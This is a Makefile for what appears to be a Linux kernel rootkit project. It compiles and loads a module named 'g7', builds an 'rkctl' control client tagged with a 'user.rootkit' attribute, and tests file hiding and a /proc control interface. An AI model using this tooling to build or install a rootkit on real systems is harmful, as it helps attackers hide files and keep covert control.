Makefile (1119B)
1 TARGET := g7 2 KERNELDIR := /lib/modules/$(shell uname -r)/build 3 4 DEBUG_CFLAGS := -DDEBUG 5 6 SRC_FILES := $(wildcard $(src)/src/*.c) 7 SRC_FILES += $(wildcard $(src)/src/$(TARGET)/*.c) 8 SRC_FILES := $(SRC_FILES:$(src)/%=%) 9 10 obj-m += $(TARGET).o 11 $(TARGET)-objs := $(SRC_FILES:%.c=%.o) 12 13 ccflags-y := -std=gnu99 -Wno-declaration-after-statement -Wno-unused-result 14 15 all: build 16 17 debug: clean 18 @make -C $(KERNELDIR) M=$(PWD) ccflags-y="$(ccflags-y) -DDEBUG" modules 19 20 release: clean build 21 22 build: 23 @make -C $(KERNELDIR) M=$(PWD) modules 24 25 client: 26 @cc -O2 -std=gnu99 -o ./rkctl ./src/rkctl/rkctl.c 27 -@setfattr -n user.rootkit -v rootkit ./rkctl 28 29 clean_client: 30 @rm -f ./rkctl 31 32 clean: 33 @make -C $(KERNELDIR) M=$(PWD) clean 34 35 test: debug remove clear_dmesg install 36 -@./checkers/check_pingpong.py /proc/g7rkp 37 -@./checkers/check_filehiding 38 -@dmesg 39 40 .PHONY: install 41 install: 42 -@insmod ./$(TARGET).ko 43 44 .PHONY: reinstall 45 reinstall: 46 -@rmmod $(TARGET) 47 -@insmod ./$(TARGET).ko 48 49 .PHONY: tags 50 tags: 51 -@ctags -R . 52 53 .PHONY: remove 54 remove: 55 -@rmmod $(TARGET) 56 57 .PHONY: clear_dmesg 58 clear_dmesg: 59 @dmesg -c >/dev/null 60 61 .PHONY: dmesg 62 dmesg: 63 @dmesg